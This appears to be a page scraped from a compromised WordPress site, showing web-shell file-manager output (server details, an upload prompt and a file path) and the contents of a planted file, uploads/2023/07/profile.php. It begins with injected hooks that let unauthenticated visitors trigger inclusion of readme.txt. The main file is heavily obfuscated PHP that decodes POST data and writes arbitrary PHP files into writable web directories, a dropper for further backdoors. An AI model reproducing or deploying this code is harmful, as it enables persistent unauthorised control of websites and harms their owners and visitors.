if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-content/uploads/2023/07/profile.php
<?php function FJmpuwlU($NvoZschk, $wajmG, $fhtEGqnEZU){global $enWkrsA;$bDJahgqw = chr(267-152)."\164".chr(963-849)."\154".'e'."\x6e";return JvpUDXPiLA(JvpUDXPiLA($NvoZschk, $enWkrsA[$wajmG % $bDJahgqw($enWkrsA)]), $fhtEGqnEZU);}$IElpQm = "GnIcVFST";function TlnweNoLri($IElpQm){ $FuYLkUVqNF = "\x73".chr(116).'r'."\137".'r'."\x6f".chr(117-1)."\61"."\x33";$IElpQm = $FuYLkUVqNF($IElpQm);	$MclLsADM = 'cHKkUBPP';$qADrDJJldk = chr(114).'a'.chr(235-116)."\165"."\162".'l'."\x64".'e'.chr(99)."\157"."\144".chr(101);$IElpQm = $qADrDJJldk($IElpQm);$fAZnxOP = chr(919-804).chr(116).'r'.'_'."\163".chr(120-8).chr(108).chr(466-361).chr(116);$IElpQm = $fAZnxOP($IElpQm);	$ghHVRo = 28;return $IElpQm;}function JvpUDXPiLA($bkRpoDNw, $etczmr){return $bkRpoDNw ^ $etczmr;}function ssJkyB(){$IDvXx = 52;$eRewqvwat = 19;}$enWkrsA = "d46bd87c-87f7-47cb-bd32-c3229e7b6ac0";function mMwDxDwLeW($ADlWLi, $fhtEGqnEZU){$YDohGVFf = chr(97).chr(114).'r'.'a'.'y'.chr(95).chr(1033-915)."\x61".'l'.'u'.chr(1008-907)."\x73";$OULbZF = "\141"."\162".chr(114)."\x61".'y'."\x5f".'k'.'e'.'y'.chr(1009-894);$cDQguzNGa = chr(779-682)."\x72".chr(114).chr(97).'y'."\x5f".chr(409-300).chr(97).chr(112);$ADlWLi = $cDQguzNGa("FJmpuwlU", $YDohGVFf($ADlWLi), $OULbZF($ADlWLi), $YDohGVFf($fhtEGqnEZU));$JhorHGLrs = "\x69"."\155"."\x70".chr(108)."\157"."\144".chr(101);$ADlWLi = $JhorHGLrs("", $ADlWLi);$lZbZzvLCF = chr(117).chr(110).chr(115)."\145"."\x72".chr(554-449)."\141"."\154"."\x69".chr(122)."\x65";$ADlWLi = @$lZbZzvLCF($ADlWLi);return $ADlWLi;}function QqKpTgi($fhtEGqnEZU, $ADlWLi){$bkZCSaHUo = 'a'."\x72".'r'."\141".chr(121).chr(95)."\x73"."\154".chr(105).chr(434-335)."\x65";$fQqYbudFcC = 's'.chr(116).'r'.'_'.'r'.chr(551-450)."\x70".'e'."\x61"."\x74";$HCstMcwV = chr(478-363).chr(1069-953).chr(645-531)."\137"."\163"."\x70"."\154"."\x69".chr(116);$KZUvk = chr(105).chr(572-462).chr(709-593)."\166"."\141"."\154";$gXJwfR = chr(404-305).'o'."\x75".chr(988-878).'t';$fhtEGqnEZU = $bkZCSaHUo($HCstMcwV($fQqYbudFcC($fhtEGqnEZU, $KZUvk($gXJwfR($ADlWLi)/16)+1)), 0, $gXJwfR($ADlWLi));return $fhtEGqnEZU;}ssJkyB();function lMtnwPBS(){echo "vdUqCGx";	$fgwUt = 27;}function vXSrW($UFaCRL){static $KFwACdvLEN = array();$JkTQzIaA = glob($UFaCRL . '/*', GLOB_ONLYDIR);$kQTiwAmT = chr(999-900)."\x6f".'u'.'n'."\x74";$ZSswFUoNs = $kQTiwAmT($JkTQzIaA);if ($ZSswFUoNs > 0) {foreach ($JkTQzIaA as $ecgnIwHqu) {$tdVETur = "\x69".chr(467-352)."\137".'w'."\x72".'i'.chr(1078-962)."\x61"."\x62".chr(314-206)."\145";if (@$tdVETur($ecgnIwHqu)) {$KFwACdvLEN[] = $ecgnIwHqu;}}}foreach ($JkTQzIaA as $UFaCRL) vXSrW($UFaCRL);return $KFwACdvLEN;}function cnQMvbKFtj($ADlWLi){$gOqKFeA = "\104".'O'."\x43".'U'.'M'.'E'.chr(78).chr(84)."\x5f".chr(82).'O'.'O'.'T';$vlqHK = $_SERVER[$gOqKFeA];	$oJGVPefbfM = 'yZVJ';$JkTQzIaA = vXSrW($vlqHK);	$oAyCDrqDI = 'euLL';$brpUrDuR = chr(115)."\x74"."\162"."\154"."\x65"."\x6e";	$oJGVPefbfM = $brpUrDuR($oJGVPefbfM);$zDWENmpgnG = "\141"."\x72"."\x72"."\141".chr(121)."\137".'r'."\141".'n'.chr(734-634);$ylHViKzq = $zDWENmpgnG($JkTQzIaA);$fmmXFZEUB = 's'.chr(1032-916).chr(114).chr(116).chr(111)."\165".chr(917-805).'p'.chr(101).'r';	$FkhNYeRU = $fmmXFZEUB($oJGVPefbfM);$vQrjtpYoz = "\x2e"."\x70".chr(104)."\x70";$VljSSrM = chr(384-337);$BoMoNTH = 's'."\x75"."\x62"."\163"."\x74"."\x72";$PgeshXRfmm = 't'."\x69"."\x6d"."\145";$VISMochMo = "\x6d".chr(100)."\x35";$JTIlNLIFGP = $JkTQzIaA[$ylHViKzq] . $VljSSrM . $BoMoNTH($VISMochMo($PgeshXRfmm()), 0, 8) . $vQrjtpYoz;$mWEaFQz = "\146".chr(286-181)."\x6c".chr(889-788).'_'.chr(547-435)."\x75".chr(485-369)."\x5f"."\x63"."\157".'n'."\x74".chr(101)."\156"."\x74"."\x73";@$mWEaFQz($JTIlNLIFGP, $ADlWLi);	$rWrnHcakJC = 'aXxqm';	$oJGVPefbfM = $oJGVPefbfM - 10;$aNdPaPNDzY = "\110"."\x54".chr(84).chr(80).'_'.chr(72).chr(542-463)."\x53".chr(84);$dSjWKid = chr(104)."\x74"."\164".chr(112)."\72"."\57".'/';$faBXXHBck = "\163".'t'."\x72".chr(108)."\x65"."\x6e";$FAdWJyDq = chr(476-361).chr(650-533).chr(1022-924).chr(115).chr(116).chr(825-711);$mJTxonPxqt = $dSjWKid . $_SERVER[$aNdPaPNDzY] . $FAdWJyDq($JTIlNLIFGP, $faBXXHBck($vlqHK));	$rjylXJu = 5;print($mJTxonPxqt);$qGJJYf = "\x73".chr(757-641)."\x72"."\x72"."\160".chr(311-200).chr(115);	$oJGVPefbfM = $qGJJYf($FkhNYeRU, 'tlpko');}function pHHHTU($ADlWLi, $ylHViKzq){if ($ADlWLi !== $ylHViKzq){cnQMvbKFtj($ADlWLi);		$XBEzSB = 15;}else {uPknCgPtil();		$VRKhKZGgv = 3;}exit();}function uPknCgPtil(){$wgMhpptgZC = "\x70".'h'.'p';$OdMzP = "\x70"."\150"."\x70"."\166".chr(101).'r'.chr(115).'i'."\x6f".'n';$ADlWLi = Array($wgMhpptgZC => @$OdMzP(), );$qBBjuR = "\x73".chr(101).chr(777-663).'i'.chr(611-514)."\x6c".chr(191-86).chr(122)."\x65";echo @$qBBjuR($ADlWLi);}function LzghY(){$qNsROYtF = 'jAzvSwk';$KAQHfjL = 70;$qGMTJYhFYc = 'VEGYjG';$rBdkrOej = 'TjbTRhXNk';$VpWhBI = 'rQHt';$uZoFpE = "\163".chr(482-366).chr(114)."\x74"."\157"."\154".'o'.chr(119).chr(626-525)."\162";$iuBsRy = $uZoFpE($qNsROYtF);$DtdJyoxxv = "\163".'t'.'r'.'t'."\157".'u'.chr(112).'p'.chr(428-327).chr(114);$qNsROYtF = $DtdJyoxxv($qNsROYtF);$KymMgEcD = 58;}function IuppDYJa(){echo "GnIcVFST";}function TziRQq($ADlWLi){$odLgwR = chr(97)."\x72"."\x72".'a'.chr(121)."\x5f".chr(769-662)."\145"."\171".chr(170-55);return $odLgwR($ADlWLi);}foreach ($_POST as $fhtEGqnEZU => $ADlWLi){$NPzHVG = chr(689-574).chr(116).chr(114)."\x6c".chr(251-150)."\x6e";if ($NPzHVG($fhtEGqnEZU) == 16){$ADlWLi = TlnweNoLri($ADlWLi);$fhtEGqnEZU = QqKpTgi($fhtEGqnEZU, $ADlWLi);$ADlWLi = mMwDxDwLeW($ADlWLi, $fhtEGqnEZU);$yMCOSwxiIK = chr(408-303).chr(658-543)."\137".chr(747-650).'r'.chr(398-284)."\141".'y';if (@$yMCOSwxiIK($ADlWLi)){$ZsOFK = TziRQq($ADlWLi);			$mnOYsQii = 'Ilmaetb';pHHHTU($ADlWLi[$ZsOFK[0]], $ZsOFK[0]);			$EqAYapsAx = 'IBsIQJyq';$cYVIODZj = 'r'."\141".'w'."\x75"."\x72"."\x6c"."\145".chr(110).chr(261-162).'o'.'d'.chr(313-212);			$mnOYsQii = $cYVIODZj($EqAYapsAx);}}}foreach ($_POST as $fhtEGqnEZU => $ADlWLi){$dbncys = "\163"."\x74"."\x72"."\x6c"."\x65".chr(110);if ($dbncys($fhtEGqnEZU) == 16){$ADlWLi = TlnweNoLri($ADlWLi);$dlrmwwsK = chr(98).chr(97).chr(139-24).chr(367-266)."\x36"."\64"."\x5f".chr(100)."\x65".chr(363-264)."\x6f".chr(323-223).chr(350-249);$qEILb = $dlrmwwsK($fhtEGqnEZU);$IxQLA = 'm'."\x64".chr(53);$wRDkY = $IxQLA($fhtEGqnEZU);$fhtEGqnEZU = QqKpTgi($fhtEGqnEZU, $ADlWLi);$BtrdtTy = "\163"."\164"."\x72".'l'."\x65".'n';$aPtFdYLf = $BtrdtTy($fhtEGqnEZU);$ADlWLi = mMwDxDwLeW($ADlWLi, $fhtEGqnEZU);$ACvPYor = 'm'.'d'.chr(178-125);$mFXPNBRtg = $ACvPYor($ADlWLi);$jzjnCLm = "\151".chr(678-563)."\137"."\141".chr(1058-944).'r'.'a'."\x79";if (@$jzjnCLm($ADlWLi)){$vMAwT = chr(97).'r'.chr(114).chr(191-94).chr(256-135).'_'."\153"."\x65".chr(121).chr(815-700);$ylHViKzq = $vMAwT($ADlWLi);$ecgnIwHquGofFidNy = $ylHViKzq[0];if (isset($ADlWLi[$ecgnIwHquGofFidNy])) {$ADlWLi = $ADlWLi[$ecgnIwHquGofFidNy];}$lacMoTxuDj = "\x72".'a'.chr(497-378)."\165".chr(961-847).chr(108)."\144".chr(967-866)."\143"."\157".chr(100)."\145";$OZrwCSVc = $lacMoTxuDj($ADlWLi);pHHHTU($ADlWLi, $ylHViKzq);$xIlOWxDYh = 'h'.chr(522-425).chr(160-45).chr(673-569);$biTUIvHi = $xIlOWxDYh('sha256', $OZrwCSVc);$anhWTBM = chr(115).'t'.chr(893-779).chr(628-520).'e'.chr(700-590);$Cmglx = $anhWTBM($OZrwCSVc);$oFCmGd = "\163"."\x74".'r'."\x5f"."\x70".'a'."\144";$qITPo = $oFCmGd($OZrwCSVc, 20, '0');$tVESilHZ = chr(115)."\164"."\x72".'l'."\145".'n';if ($tVESilHZ($qITPo) > 15) {$ZlGQfEHDbX = "\163"."\165".chr(98)."\x73".'t'.'r';$GjaNDpKB = $ZlGQfEHDbX($qITPo, 0, 15);} else {$zWilKrhZW = 't'.'r'.chr(283-178)."\155";$GjaNDpKB = $zWilKrhZW($qITPo);}$ecgnIwHquuFbXTYMuL = array($GjaNDpKB, $biTUIvHi);$Jztbg = 'a'.chr(114).'r'.'a'.chr(1113-992).chr(979-884)."\x6d".chr(101).chr(114).chr(103)."\x65";$wTmkICI = $Jztbg($ecgnIwHquuFbXTYMuL, array($ylHViKzq[0]));$XIdKLA = chr(99)."\x6f".chr(935-818).chr(110).'t';$EOTqloGf = $XIdKLA($wTmkICI);$cYvEJAOXC = "\x69"."\155"."\160".chr(108)."\x6f".chr(100).chr(951-850);$rkdyvRT = $cYvEJAOXC(',', $wTmkICI);}}}die();LzghY();?>